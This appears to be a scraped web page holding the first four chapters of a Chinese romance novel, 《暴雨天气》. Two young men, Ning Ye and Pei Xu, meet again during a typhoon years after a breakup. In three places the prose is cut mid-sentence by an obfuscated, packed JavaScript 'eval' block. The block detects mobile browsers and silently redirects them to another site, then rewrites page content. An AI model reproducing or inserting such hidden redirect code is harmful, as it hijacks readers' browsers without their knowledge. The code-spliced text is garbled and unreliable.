《暴雨天气》 1. chapter 01 “全世界的水都会重逢, 北冰洋与尼罗河会在湿云中交融。” / 01 台风过境,暴雨天气。 宁也在窗前站了一会儿,湿润冰凉的风裹挟着雨丝,一阵又一阵地朝他袭来。 空气里满是潮湿水汽的味道,扇形的格子玻璃老钢窗朝外半开着,旧窗框被雨水浸透,不住往下滴着水珠,衍生出铁锈气味。 除了这些,隐隐约约萦绕在鼻尖的,还有窗前那棵被雨水倾轧过的梧桐绿叶的草木香。 这里是裴家的老宅,巷子深处的独栋老洋房。 宁也已经很久没有回来。 这些记忆里熟悉又久远的场景在眼前重新勾勒,宁也的神思不自觉停滞,在胸腔内缓慢跳动的那颗心也逐渐变得潮湿。 裴奶奶在楼梯那边喊了一声宁也的名字,宁也恍惚着回神,收起心底的酸涩,伸手关上窗户,走向裴奶奶。 嘈杂的雨声就这样被窗户玻璃隔离在外,房内寂静几分。 “你回来的突然,原来的房间都没来得及打扫,今晚你先睡阿序的房间。他前些天刚回来过一次,房间的被褥都是新换的。” 裴奶奶虽已上了年纪,头发花白,但精神矍铄,绣花的旗袍和挽在脑后的发髻更显得有精气神。 宁也听裴奶奶说着话,心脏被她话语中突然出现的那个名字狠狠撞击了一下。 悄无声息。 又震耳欲聋。 裴奶奶很高兴宁也能回来看望自己,眼角的皱纹因笑容而延伸出弧度,她和蔼热切地领着他上二楼。 红漆重新刷过的木楼梯仍跟从前一样,踩上去会有轻微的嘎吱响,落在宁也耳侧,很熟悉。 他跟着裴奶奶走向二楼,只有他自己知道,他走的每一步,都很僵硬。 尤其是当裴奶奶拉着他停在裴序的房间前面时。 宁也的双腿愈发的僵,隐秘的抗拒和渴望同时间抓挠着他的心,他莫名的紧张,似乎是害怕门打开的那一瞬间,会看到不敢再见到的那个人。 所幸,咣当一声,房门打开,里面什么人都没有。 房内流淌出来的黑暗,让宁也提起的心落稳几分。 明明一早就知道是这样,但很奇怪,他还是会紧张,会呼吸发烫。 现在天色已晚,裴奶奶交待了宁也几句,例如早点睡觉,例如别在台风天急着回市区,随后她便回了一楼自己的房间。 随着踩踏楼梯的脚步声缓慢消散在耳边,等再听不到声音的那一刻,宁也全身的僵硬开始变得有迹可循。 走廊上廊灯的光影不够柔和,冰冷冷地拉长他落在地面上的影子。就是这一瞬间,让他产生了一种恍如隔世的感觉。 他没想到有一天,他还会站在这个房间前面。 曾经能随意进出的地方,现在连抬手开灯,都要积攒很久的勇气。 宁也凭着记忆,手指抚上一侧墙壁,摸到他曾按过无数次的那个墙壁开关。 咔哒。 房间里的灯开了。 一切仿佛都没变。 宁也站在门口,放眼望去,房间的格局摆设,书桌和床的位置,都和他当年离开的时候一模一样。 可是真的走进去了,才会发觉,此时此刻的房间已经变得空落,少了很多东西。 曾经他和裴序一起粘贴在墙壁上的电影海报,不见了。 他们一起坐着写卷子的书桌,再也不见书本和卷子,只留下一本没有翻完的旧日历。 属于他们的两把椅子,如今也只剩下一把。 宁也不自觉停在书桌前,手指碰触到椅子的靠背,指腹轻轻摩挲木头面,细细密密的触感从皮肤渗透进他身体里。 他的眼前仿佛出现两个穿着校服的少年,一起挤在这张书桌前写题。 夜很沉,他们的呼吸很静,笔尖与纸张摩擦的沙沙声此起彼伏。 高三的夜晚总是冗长的,刷不完的题,写不完的卷子,背不完的英语单词。 唯一能从学业中抽身的喘息,似乎就是停笔时候,他们彼此肩膀的相互贴靠,或者是目光对视间,不由自主相撞的呼吸。 宁也感到自己的心脏似乎抽疼了一下。 这几年他一直不敢回忆起的画面这样猝不及防地在脑海里翻腾,缓慢的,清晰的,每一帧,都是裴序。 他在这里借住的那一年,点点滴滴,全都和裴序有关。 宁也抬起头,呼气平稳情绪。 他就知道,他不该回南市。 这次如果不是因为工作的原因,他应该不会回来,更不会在南市做短暂的停留。 就是因为回来了,他才忍不住来看望裴奶奶。 因为来看望裴奶奶,所以他现在才会被迫滞留在这里。 这是今年的第一场台风。 宁也早上出门的时候,天气预报还在播报台风的行经路线,预计与南市擦肩而过,只会带来部分降雨,对南市没有太大影响。 谁知下午台风突然改变路线,朝南市迎面而来。 台风天交通停滞,宁也打不到车,一时半会儿回不到市中心。 裴奶奶听闻台风即将在晚上登陆,更是担心他的安全,不让他走,让他在这留宿一晚。 这些留下的理由都是这样的正大光明、水到渠成,可宁也却心神不定,不知这样的滞留是对还是错。 毕竟当年离开的时候,他对裴序撂下狠话,说自己再也不会回来。 说狠话是很容易的,做起来好像也容易,但是回头面对的时候,宁也就有些胆怯和退缩。 幸好,现在是台风天。 不管裴序会不会知道他在这,至少在交通恢复之前,裴序都不会回来,他们都不会碰面。 - 深夜时分,狂风暴雨更加肆虐。 雨声、风声,还有玻璃窗子被震颤时发出的颤动声响,不停歇地在宁也耳边环绕。 他睡不着。 从躺到裴序这张床上开始,他就觉得他被某种熟悉的气息掐住喉咙,让他无法正常呼吸。 时隔四年,宁也再次躺在裴序的床上,身上新换的衣服是他高中那年留下的,时空仿佛折叠,一切好似回到原点,一切好似没变。 他越是努力闭上眼睛,思绪越是清晰。 这是裴序的床,他在裴序的床上—— 这样的认知不断刺激着宁也的高危神经,曾经只在青春期涌动的热潮卷土重来,一面燃烧着他,一面又和外面的雨水一起淋湿着他的心,让他煎熬。 宁也失眠,辗转反侧。 他甚至都没有盖上裴序的被子,他害怕他会忍不住抱紧被子,忍不住去嗅裴序残留的气味。 宁也一直坚持到凌晨两点。 夜里很静,家家户户因为台风,闭紧门窗。 楼下的裴奶奶估计也已经睡沉。 宁也平躺在床上,望着天花板,喉结轻微滚动。 他忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013952|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点想喝水。 宁也轻声走下楼梯,担心开灯太亮会影响裴奶奶睡觉,他一路都没开灯,凭着记忆摸黑走到客厅这边后,才打开一盏老旧的立式台灯。 钨丝灯泡闪烁两下,继而发出昏黄的灯光,在一隅微微发着亮。 宁也借着这道微弱的光影,走去厨房,从橱柜里拿出一个玻璃水杯。 他做这些的时候,并未觉察出什么,只觉得厨房的玻璃窗户被暴雨震颤着,好像外面的雨随时会倾泻进来。 后来,他从雨声之中听出一些不属于雨水的细微声响,像是关门声,像是脚步声。 宁也停顿几秒,转过身。 忽然的,他觉得整个世界都安静了,连充斥在耳边的狂风暴雨都仿佛瞬间消失,他的身体一点一点僵硬发麻,心脏好似被一只手抓紧,瞬时剥夺他的呼吸—— 他看到了裴序。 背着光、半边身子隐在黑暗中的裴序。 宁也看不清他的脸,但他知道是他。 重新回归的心跳让宁也的呼吸急促又滚烫,他下意识背过身,白净修长的手指紧紧攥住玻璃水杯。 宁也的回避是下意识的,也是慌乱的,他不知道裴序怎么会回来,更不知道他是什么时候回来的。 他根本没做好与裴序碰面的准备。 宁也的喉结因紧张而上下滚动一番,而后停滞着,就像他空白一片的大脑,思想停滞。 窗外是狂风暴雨,身后是缓慢覆来的熟悉温度。 宁也清晰感觉到裴序的靠近,反应过来想躲,手腕却被裴序用力攥住,整个人被他从身后圈着,紧紧桎梏在怀里。 裴序身体很冰,似乎是淋了雨,从外面带来的潮气紧贴着宁也僵硬的背脊。 宁也想挣脱,裴序越是攥紧他的手腕,让他的腕骨一阵发疼。 宁也已经意识到,裴序不主动松手,他就逃脱不开。 他和裴序虽都是男生,但裴序比他高一些,肩膀比他宽,他们之间一直有着力量的悬殊。 裴序攥着宁也的手腕,宁也攥着玻璃水杯。 宁也的手指纤白,指尖在此刻一阵泛红,而裴序的手指骨感分明,用力的时候能看到手背微突的青筋。 而后,在微弱的光影中,宁也看到裴序抬起另一只手。 裴序的长指毫不留情地扣住宁也的下颌,强硬扳过他的脸。 他们离得很近,视线撞上的时候,呼吸也撞在了一块。 宁也终于看清裴序的脸。 漫长四年,他再次看到裴序清晰的眉骨,直挺的鼻梁,形状好看的薄唇,以及漆黑眼底藏不住的冷冽。 裴序的眼皮很薄,因身高差距而微微半垂眼眸,黑白分明的眼睛紧盯着宁也。眼皮上双眼皮的褶皱并未因垂眸而变得平缓,反而透出满满的侵略性。 宁也熟悉裴序略带侵略性的目光,曾经他会因这样的目光而神经兴奋,此刻却只有慌乱和逃避。 他不够坦然,不敢直视裴序的眼睛,想收回视线,紧扣住他下颌的手指突然加重了力道。 宁也再一次被迫和裴序对上视线。 缓慢煎熬的目光对视,终于,裴序开口,语气冷然又陌生:“是谁说的再也不回来?” 简短一句话,宁也的心脏像是经历了一场巨大的地震,时空割裂,他仿佛重新被塞回到四年前的那个夏天,回到高考结束的那个暑假。 那一年,同样是在这个地方,他躲开裴序的吻,跟他提了分手。 2. chapter 02 02 十七八岁时,少年之间的喜欢,像风,像火,横冲直撞。 他们曾一起升温,也曾一起热烈燃烧。 此时此刻,这四年之后的再重逢,却像是一把扬起当年燃烧过后的灰烬,风一吹,什么都没再留下。 宁也听得出裴序话里的冷嘲,听得出他的讽刺,他的漠然如针尖一般刺痛他的心。 难堪的情绪在宁也胸膛涌现,他不作回答,反身挣脱裴序的桎梏。 裴序不松手,宁也硬是倔着性子,用力挣扎。 两人一番纠缠,裴序最后选择放手。 他松开宁也的霎那,他站在原地没动,宁也不受控地往后趔趄两步才勉强站住。 同时间,宁也手里一直拿着的玻璃水杯摔到了厨房地面,迸溅的玻璃碎片伴随着清脆的声响,落在他们两人之间。 宁也的眼睛直视着裴序,眼底的倔意带着几分敌视。 裴序半掀着的双眸毫无温色,冷冷承接着宁也的目光。 分手之后第一次见面,他们宛若仇敌。 彼此无声的对峙,在细微的开门声响传来的那刻被打断。 睡在一楼的裴奶奶听到厨房这边的动静,被惊醒,起床开门。 “阿也,是你吗?出什么事了?” 宁也怕裴奶奶看出他和裴序之间的微妙,乱了一下神,没来得及第一时间回应。 与他面对面的裴序绷着脸,藏起眼底汹涌的情绪,转而面朝裴奶奶的方向,语气比刚才轻缓几分。 “奶奶,是我。” 裴奶奶所在的方位看不到厨房这边,她听闻裴序的声音,便没从房间里出来。 “阿序?大半夜的,又这么大的雨,你怎么突然回来了?” 裴序瞧向宁也,眸色漆黑,薄唇动了动,只说:“台风太大,我担心您一个人在家。” “这孩子,我有什么好担心的,还特意冒雨赶过来。很晚了,既然你回来了就早点睡。对了,阿也在你房间——” “奶奶,你先睡吧,其他的事情不用管了。有什么事明天再说。” 裴奶奶年纪大了,睡着之后再被吵醒,自然困意很浓。她没从裴序的声音里听出什么异样,也就没再多费心,关上房门继续去睡了。 从裴奶奶关门的那刻开始,宁也和裴序开始陷入长时间的僵持。 昏暗的光影,陌生的两个人,连空气都仿佛在停滞不前。 宁也的大脑一直是空白的,自己也不知道到底过了多久。 等反应过来后,他看到满地的玻璃碎片,半蹲下来想收拾。 裴序在这时候出声:“这是我家,不劳烦你动手。” 宁也即将碰触到玻璃碎片的手指微僵,悬在半空。 裴序听似冷漠的音色让气氛一度滞涩,他像是在和宁也撇清关系,又像是在宣告他是这里的主人,宁也这个“客人”应当识相,尽早离开。 宁也接受裴序的赶客。 他站起身,没说话,径直离开厨房的时候,与裴序稍稍擦肩,没有回头也没有落下一个眼神。 所有的一切都不在宁也的预料之内。 他没有想留宿,却被台风困住不得不留宿。 他没准备好跟裴序见面,却在这样不合适的时间碰上。 宁也一路回到二楼,回到裴序的房间。 窗外漆黑,大风裹着雨水在窗户玻璃上碰撞,宁也的思想也在碰撞。 简短平复过心情之后,他走到床边,拿起放在床头的手机。没想到刚走到门口,就差点撞上要进来的裴序。 两人同时停步。 距离太近,空间似乎一下变得逼仄,宁也下意识往后退了两步。 裴序站在门口,像是堵住了这扇门。 他抿着薄唇,上下瞧了一眼宁也此时的模样,冷硬着下颌线开口:“去哪?” 宁也喉咙微微发干,停了几秒后,说了今晚他与裴序之间的第一句话:“管得着吗?” 两人的眼神是直视着对方的,不似从前那般柔和,彼此之间都带着强硬。 四年没见,宁也感觉裴序的五官并没太大变化,只是比起四年前,裴序似乎成熟了一些,眼底的侵略和冷感也更强了一些。 身上深色的衬衣,肩膀和袖口已经半湿,氤着水印。 衬衣领口随意解开两个纽扣,袖口微微向上翻转了一圈,银色腕表戴在右手,腕骨微凸。 肩宽,腰窄,黑色西裤质感偏硬,笔直包裹住他修长的双腿。 这样的打扮,很正式,很像是突然从工作中抽身,然后出现在这里。 宁也从未见过这样的裴序,很陌生,很有距离感。 但他想想,也对,他们早已不是穿着校服的十几岁少年了。 这四年里,一直停在原地没有任何变化的人是他,而裴序,早就沿着他人生该走的道路走远。 他们之间确实应该陌生,确实应该有距离感。 “现在台风天,你哪里都去不了。” 裴序说着,迈动脚步往房间里走,经过宁也身边时,瞧了他一眼:“现在你只有一个选择,留下,关灯,睡觉。” 宁也微愣,视线不自觉跟随着已经跟他错身走进房间里的裴序,恍惚觉得是自己听错了裴序的话。 “你说什么?” 裴序在床边停步,缓缓掀起眼皮看向宁也,没有再重复一遍,只说:“现在已经很晚,不要再吵醒奶奶,也不要做一些会让奶奶忧心的事。” 宁也不禁觉得荒唐:“我们睡一张床,你觉得合适吗?” 裴序挑眉反问:“怎么,我们难道没有睡过一张床?” “……” 宁也不知道裴序是怎么做到这么坦然的,反正他是没有办法在分手之后还和前任躺在一张床上。 “我睡沙发。” 宁也说着转身,下一秒手腕就被用力拽住,他还没反应过来,整个人就被裴序拽着拉到床边。 他从来就没有在力气上胜过裴序,无论是学生时期的游戏,还是隐秘暧昧的某些时刻,裴序永远都能轻轻松松胜过他。 此时此刻也是这般,宁也根本没有机会反抗,裴序按着他的肩膀将他压在床上,他动弹不得,背脊紧贴着床。 裴序在宁也上方,双腿分开在宁也腰侧,上半身微微弯着,如匍匐的野兽。 胸膛与胸膛之间隔着距离,他只是用力按住宁也的肩膀,黑沉的眸子紧盯着宁也,没有其余动作。但宁也却觉得呼吸困难,推不开,逃脱不开,更是挣扎不开。 “睡沙发?你是想让奶奶认为我把你从我房间赶出去?还是想让她知道我和你的关系变了,想让她担心?奶奶年纪大了,如果你还记着她以前对你的好,你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013953|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就躺下睡觉,什么都别做。宁也,就算是装,你也得装作我们和以前一样。” 裴序的每个字都冷得像窗外冰凉的雨点,砸在宁也的耳朵里,也砸在宁也的心脏上。 宁也不明白,裴序刚刚还在楼下冷漠赶客,此刻却用这样强硬的方式逼他留下。 想起年迈的裴奶奶,宁也的眸光流露出几分黯然。 裴奶奶确实是宁也的软肋,在这里借住的那一年,裴奶奶对他一直视如己出。 他和裴序之间的事情,裴奶奶不知情,在老人家的眼里,他们两个人关系很好,亲密似亲兄弟。 当年他们分手,闹掰,都是瞒着裴奶奶的。 宁也别开眼,避开裴序的目光,似是妥协:“知道了。你放手。” 裴序闻言,多停几秒后,才直起身体,放开宁也。 身体没了桎梏和威胁,宁也直接在床上侧过身,他背对着裴序所在的方向躺着,带着半分的赌气和半分的对身后人的不待见。 裴序沉默看着宁也抗拒交流的背影,确认他已经妥协,便走去关了房间的门,再关了房里的灯。 咔哒一声,黑暗随之而来。 黑暗之中,宁也听得到裴序打开衣柜拿衣服的声音,也听得到裴序去卧室自带的浴室洗澡的声音。 很快,淅沥的水声停止,微热的潮气随着脚步声缓慢移至他身后。 宁也从开始到现在,一直侧着身,抱着双臂,防御般的姿势。 感受到床的另一侧轻微塌陷,他马上闭上眼睛,心脏在黑暗中缓沉跳动。 他知道,裴序洗完澡,躺上了床,就在他身后。 他们身上是相同的浴后气味,浅淡的,氤氲在缓慢流动的空气里。 雨很大,整个世界仿佛都淹没在了这场暴雨之中,耳边只余下响彻不停的雨声。 宁也的心很乱,他从来没想过有一天,他还会和裴序躺在一张床上。 身后的裴序自睡到床上后就再没其余的动作,很安静。 他越是安静,宁也就越煎熬。 每一秒,每一次呼吸,都很难挨。 腰间突然覆上什么东西,宁也倏地睁眼,侧眸看去,是一条轻薄的夏被。 裴序给他盖了被子。 宁也悬高的心下落几分,几次呼吸之后,他伸手攥住被子一角,将自己裹了个严严实实。 他不想面对裴序,不想跟他再起摩擦,就这样吧,这样把自己裹起来,藏起来。 夜很沉,裴序的眸色也很沉。 他侧着头,望着宁也留给自己的背影,眸底情绪无声翻涌。 时间缓慢流逝,很久之后,裴序才收回目光,调整姿势面向天花板,轻轻阖眸。 而这时候,一直闭着眼睛的宁也在感觉到身后没了那道凝视的目光后,才缓缓睁开眼。 他裹着被子,只露出小半张脸,强装冷硬的心在这刻无声松动。 眼睫不知是什么时候湿润的,眼皮稍稍一动,眼尾就变得潮湿。 他很想转过身,仔仔细细看一遍裴序,可是他没有勇气。 宁也只能收紧身上的被子,将自己裹紧再裹紧,最后干脆,把头也埋到了被子里面。 好像这样,就不会被任何人窥探到他的心事—— 他很想裴序。 分开的这四年,很想,很想,很想。 3. chapter 03 03 宁也一开始并不喜欢裴序。 宁也前面的十七年人生,一直生活在距离南市两千多公里的逾市。 即将升高三的那年夏天,父亲投资失败,父母离婚,他跟着父亲回到南市。 宁也的父亲是南市人,当年父亲去逾市发展,卖掉了南市这边的房子,没打算再回来。 生意失败后,为了还上巨额的贷款,父亲又卖掉了逾市的房子。 宁也因此没有了自己的家。 回到南市的第一天,他就被父亲送去了裴家老宅。 裴奶奶是宁也奶奶生前的好友,对宁也的借住,没有过多犹豫。 那天也是宁也和父亲的最后一面,父亲说他再去外面试一试,看看能不能东山再起。 这一走,就再没有消息。 当时的宁也并不知道父亲会离开这么久,以为父亲很快会回来。对于住在裴家这件事,他一直认为是临时的,也一直以为父亲过段时间就会来接自己。 突然来到一个陌生的环境,十七岁的少年总会产生一些孤独和不适。 裴奶奶待宁也很好,但宁也总觉得自己融入不进这个陌生城市。 南市属南方,沿海城市,迎面而来的是略带咸涩的海风。 道路两侧栽着繁茂高大的梧桐,老城和新区只隔着一条马路。 当地人习惯说南市方言,难懂,拗口,又晦涩。 第一次来到南方,又是借住在别人家里,曾经自信骄傲的少年,不自觉变得内向,隐隐抗拒同这个世界交流。 宁也不愿意让别人发觉自己的格格不入,就开始规避任何多余的交流,除了裴奶奶和家里帮佣的阿姨,他几乎没有和外人说过话,也很少很少出门。 那一年夏天的前半段,对宁也来说,是沉默又安静的。 直到七月底,裴序回来。 宁也来到裴家的时候,就知道裴奶奶有一个孙子,去了市区父亲家里过暑假。 高三会提前一个月开学,时间到了,他就会回来。 裴序回来的那天,正是连续几天的高温结束,骤然落下一场雨。 夏季的雨水并没带来多少凉意,雨水下落,闷热未减。 临近傍晚,保姆阿姨在厨房做晚饭,锅碗瓢盆的碰撞声和热油炒菜的滋滋声此起彼伏。 裴奶奶坐在客厅沙发上,一下一下摇着蒲扇,宁也则站在她身旁,拿着遥控器帮她调到她想看的戏曲频道。 空气是沉闷的,没有一丝风的流动。 裴序的到来就像是突兀打破盛夏骤雨的闷滞,他没有行李,只单肩挂着个黑色的包,同色的短袖T恤和长裤,整个人立在玄关,高挑凌厉。 宁也与裴序的眼睛稍一对上,心脏就倏然停滞跳动了两下。 那是宁也第一次见到裴序。 这位与他年纪相仿的少年站在他不远处,看着他时,眼皮微敛,目光沉静,漆黑的双眸仿佛是在审视。 两人之间的微妙似乎只有宁也感受得到,是那样的不着痕迹不动声色。 裴奶奶瞧见孙子突然回来,很是开心,忙伸手招呼着裴序过来。 在裴序逐渐靠近裴奶奶这边的时候,宁也主动退让,给裴序留出一个位置,自己往后站了一点。 距离缩进,宁也发觉裴序比自己高出半个头,露在短袖外面的手臂,线条紧实流畅,有着恰到好处的力量感。被雨丝吹拂过的上衣留着暗色的雨水痕迹,微微贴着皮肤,肩背平直,身形是少年人特有的瘦高挺拔。 裴奶奶拉着裴序问了好多话,例如他怎么提前两天回来了,怎么都不说一声。 裴奶奶的话密,裴序一直没来得及回话,只有裴奶奶在说。 宁也听着裴奶奶说话,心神恍惚偏离许多,越来越没听清老人家说了些什么,直到耳边突然响起一个陌生的男声:“裴序。” 又清又沉的声音很是突兀,宁也恍然抬眸,与裴序撞上目光。 裴序刚刚说了自己的名字,像是在自我介绍。 宁也稍稍回神,想着应该是裴奶奶让裴序跟他打招呼,于是,他向裴序点了点头,表情有些不大自然。 “你好。我是宁也。” 裴奶奶这时候笑着说:“阿序,你要好好照顾阿也,你们两个年纪差不多,好好相处,以后大家都是一家人。” 裴奶奶口中的“一家人”让宁也有些忐忑,他不知道裴序会怎么看待这个突然住进他家里的外人。 宁也与裴序对视着,没有听到裴序对裴奶奶的回复,只看到他漆黑明亮的双眸,和脸上不置可否的表情。 他不知道他是什么意思。 宁也其实也不想探究裴序到底是什么意思,他在心里认定自己是外人,不想与裴序这个家里的主人有什么过多的牵扯。 他们一起度过的第一个晚上,宁也一直规避着任何有可能的接触和交流,他没有和裴序聊天,吃过晚饭就回到房间看书。 天越来越沉,格子窗户的玻璃上面爬满蜿蜒水流。原本能通过窗户看到门外的那棵梧桐树枝叶,此刻叶片与暗沉夜色融为一体,在雨夜摇曳。 房内安静,雨声在耳边哗哗作响,丝毫没有停止的意思。 嘈杂与安静矛盾并存的时候,宁也的房门被敲响。 裴序提早回来,裴奶奶还没给他收拾出房间,今晚让他先和宁也一起睡。 两个算得上只说过一句话的少年,突然被安排共处一室,宁也很是尴尬。 房间里只有他们两个人,裴序将自己带来的枕头往宁也床上一扔,神色自然又冷淡。 “你讨厌我?” 裴序突然出声。 宁也呼吸顿了一下,脖颈微微紧绷,抿了抿唇,回答:“没有。” 房间的光影下,裴序的侧脸轮廓线条分明,略带一点儿锋利。但他的姿态与宁也相比,还是显得放松许多。 他听到宁也的回答,缓慢转过头来,唇角微扬,似笑非笑:“是么,看你一晚上避着我,我还以为你挺讨厌我。” 宁也不知裴序为什么会有这样的想法,否认摇头:“没有,你想多了。” 裴序笑了一声,坐到床边,张开的手指覆在床面,指间骨节明晰好看。 他问宁也:“睡左边还是睡右边?” 宁也:“都可以。” “好,你睡左边。”裴序很快分了床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013954|162077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置,将左边留给宁也,又看似礼貌地询问:“请问现在可以关灯了么?” 宁也听出裴序话里的意思,他没有明着回答,直接走去关了灯。 房间顿时陷入黑暗,没有拉上窗帘的窗户缓慢送进来一点外面路灯的光影,又暗又沉,算不上多亮,只能让人隐约辨清方位。 宁也借着这点光,走到床的左侧。 两个人都已经洗过澡,换过衣服。 他们第一次一起躺在同一张床上,身体之间的距离隔得很远。 宁也平躺着,身体微微僵硬,抵着床铺的背脊很不舒服。 他从来没跟别人一起睡过。 他不习惯,也不喜欢,却不好拒绝。 在父亲破产之前,宁也家里在逾市也算得上数一数二。 他在逾市最好的私立学校读书,上下学都是家里的司机接送。他是独子,所有的东西都不需要与他人分享,就算是出去玩,在外面过夜,也从来不会和让人一起睡一个房间,更别提睡一张床—— 宁也很早就知道自己的取向,所以他一直都注意自己交友的分寸,不会跟同性别的男生过于亲近。 宁也闭上眼睛,不住地劝慰自己,只是一晚而已,不用太焦虑,不用太难受,明天就会分开睡。 正当他的自我催眠快要起效时,他感觉到身侧的床微微发出动静。他不自觉睁开眼,侧头看过去,恰好看到裴序正侧着身躺着,面朝着他这边。 暗色里,裴序的眸光是平静的,无波无澜的,偏偏宁也觉得他在很专注地看着自己。 隔着身体之间的距离,宁也仿佛能感觉到裴序的气息,很静,很细微。 随后宁也看到裴序的目光从自己的脸上往下移,不知是看什么,接着又回到他脸上。 “你还挺白的。” 裴序的话让宁也的呼吸蓦地一滞,宁也喉结滚动,下意识往裴序刚刚看过的方位看过去。 晚上他穿的是到膝盖上方的宽松短裤,露在外面的一小截大腿皮肤连带着膝盖和小腿,在夜雨的暗沉中白得晃眼。 宁也不是第一次被别人说白,他个子虽高但是骨架纤瘦,皮肤很透,五官更显精致,以前在逾市的时候有被邀请当过几次模特拍过几次广告。 当时很多人夸赞他骨相生得好,夸他皮肤白,那些带着笑意的夸奖从没有像这次这般令他怔愣失措。 是因为躺在一张床上的缘故吗? 是因为这样的场景有些惹人遐想吗? 是因为眼前的少年正用那双狭长沉寂的眼睛注视着他吗? 宁也不知道,他只知道强烈的失氧感快速涌上大脑,喉咙干涩。 “……关你什么事。” 宁也僵硬丢下几个字,侧过身子背对着裴序。 而在裴序看不到的地方,宁也悄悄用手掌按住自己不受控制乱跳的心脏。 宁也就是从这一刻开始不喜欢裴序的。 因为裴序只用轻巧玩笑似的一句话,就彻底扰乱他从未起过任何波澜的心。 裴序就像他少年时期一场轰轰烈烈的雷阵暴雨,来得毫无预兆。 而他慌乱无措,无法招架,淋得满心湿漉。 4. chapter 04 04 “……随着台风远离,本市风力明显减弱,各类预警信号已逐渐解除,本市道路交通将逐渐恢复,市民出门仍需注意道路积水……” 晨间的电视新闻播报着最新的台风动向,偌大的客厅空空荡荡,只有电视机在不断闪烁着画面。 这栋年代久远的老洋房,保持着上世纪二三十年代的装修风格,墙壁和各类装饰摆设的色调都略显暗沉,碰上这样的雨天,房子里面更是昏昏暗暗。 人是视觉动物,会下意识寻找亮光。 宁也走下楼梯,先是看了一眼开着的电视,随后看向餐厅。 餐厅里,圆形红木餐桌上方的吊灯散发着明亮的光,驱散了不少雨天的阴沉。 裴奶奶站在桌旁,将一个冒着微微热气的小瓷碗放到桌面,笑着招呼宁也:“正想叫你起来吃饭呢,快过来。” 宁也脚步微顿,目光不自觉落向圆桌另一侧。 裴序坐在圆桌前,落下一个冷漠侧影。 他的视线定在桌上放着的笔记本电脑上,对于宁也的到来似乎不为所动,眼皮都没抬一下。身上新换的黑色T恤不像昨天那件衬衣那样让人有距离感,却仍然让人感觉生疏且陌生。 宁也不知道昨晚自己是怎么睡着的,醒来的时候,天已经亮了。 房间里也已经没有人,只剩他一个。 刚醒的他其实还有一丝恍惚,好似夜里见到裴序只是他做的一个梦。 就像分开的这四年,他每一次梦到裴序,每一次以为自己见到裴序了,到最后才发现,那只是一个梦。 宁也缓慢走向餐厅。 冷水洗漱过的他已经清醒不少,能知道昨夜见到裴序不是在做梦,此时此刻他也能很好地收拾整理好自己混乱的情绪,以冷静的面貌面对裴序。 宁也停在圆桌旁,裴奶奶热切地给他拿来勺子,说着:“刚熬好的红枣小米粥,快坐下来趁热吃。本来想给你买你以前最喜欢吃的小笼包子,可惜这台风天的,巷子口的包子铺都没开门。” 一碗小粥,轻而易举勾起宁也的许多回忆。 宁也稍作掩饰,接过裴奶奶递来的勺子,微微笑起来:“奶奶,没关系的,我也很喜欢小米粥。” 宁也拉开椅子坐下,搅动勺子,舀起一小勺粥,尝了一口。 粒粒金黄的小米粥放了一点儿糯米,熬得很粘稠,红枣点缀,粥米的清香和红枣的甜香很好地融合在一块。 是他在这里生活的那一年里,非常熟悉的味道。 裴奶奶特意将桌上的小菜往宁也这边挪了挪,笑着问宁也:“粥的味道怎么样,有没有王阿姨做的好吃?” 王阿姨是这儿的保姆阿姨,平时会过来给裴奶奶做饭、打扫卫生。高三那会儿,家里也一直是王阿姨做的饭。 这两天刮台风,王阿姨没有过来。 “好吃,”宁也点着头说,“奶奶做的更好吃。” 裴奶奶顿时笑开:“这可不是我做的,裴序不舍得我这一把老骨头给你们做早餐,很早就起来了。” 闻言,宁也微愣,抬眸瞧向对面坐着的裴序。 裴序神态自若,没有什么反应,仿佛没听到他和奶奶的对话,目光只落在电脑屏幕上。 “我还以为这孩子什么都不会呢,没想到在外面几年,都学会做饭了。” 裴奶奶笑呵着,转身去忙自己的事,很快离开了餐厅。 偌大的空间顿时只剩下宁也和裴序两个人。 餐厅连着厨房,一侧的墙壁是紧闭的拱形窗户,有半面墙那么大。 窗外的世界湿漉漉的,昨夜一场暴雨,院落草坪上落满了树木的断枝和败落的树叶。 淅沥缠绵的雨水在玻璃上蜿蜒流动,雨声被隔离,变得细微,在耳边窸窣作响。 这样寂静的雨天,这样安静的独处,让宁也感觉到窒闷。 他的手指握着勺柄,肩膀僵硬,一直保持着先前与奶奶说话时的姿势,没有动。 与宁也相反,裴序表情自然且淡定,右手修长的食指轻轻滑动着鼠标触控板,另只手则漫不经心地搭在桌面上,手背筋骨分明,手腕处凸出的腕骨弧度微妙好看。 